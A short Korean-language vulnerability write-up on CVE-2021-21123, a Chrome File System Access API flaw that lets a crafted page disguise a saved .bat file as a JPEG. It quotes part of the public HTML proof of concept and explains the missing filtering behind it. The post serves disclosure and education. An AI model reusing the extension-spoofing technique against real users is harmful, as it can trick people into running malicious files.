[하루한줄] CVE-2021-21123: Chrome에서 발생하는 확장자 spoofing
URL
Issue 1137247: Security: Spoofing download filename extension in 86 chrome
Target
Google Chrome < 88.0.4324.96
Explain
CVE-2021-21123: 88.0.4324.96 이전 Google Chrome의 File System API에서 불충분한 데이터 유효성 검사를 통해 공격자는 조작된 HTML 페이지를 통해 파일 시스템 제한을 무시할 수 있습니다.
<script>
const butSaveNewFile = document.getElementById('addNewFile')
butSaveNewFile.addEventListener('click', async () => {
const options = {
types: [
{
description:
'JPEG Image (*.jpeg) ',
accept: {
'text/plain': ['.bat']
},
content: 'C:\\Windows\\system32\\calc.exe'
}
]
}
const handle = await window.showSaveFilePicker(options)
const writable = await handle.createWritable()
await writable.write('C:\\Windows\\system32\\calc.exe')
await writable.close()
alert('File saved')
})
</script>
위는 공개된 HTML PoC의 일부입니다. 변수 description
의 값은 Google Chrome이 호출하는 “Save as(다른 이름으로 저장)” 창에서 다운로드될 파일의 확장자를 사용자에게 보여주는 용도로 사용됩니다. description
에 연속적인 공백 문자 혹은 *
이 포함되지 못하도록 막는 필터링의 부재로 인해 다운로드될 파일의 실제 확장자를 숨기거나 속일 수 있습니다(Spoofing download filename). 해당 취약점을 악용해 원격으로 타겟 시스템에 악성 코드를 설치 및 실행할 수 있기 때문에 User Interaction이 필요함에도 불구하고 높은 심각도의 취약점으로 분류됐습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.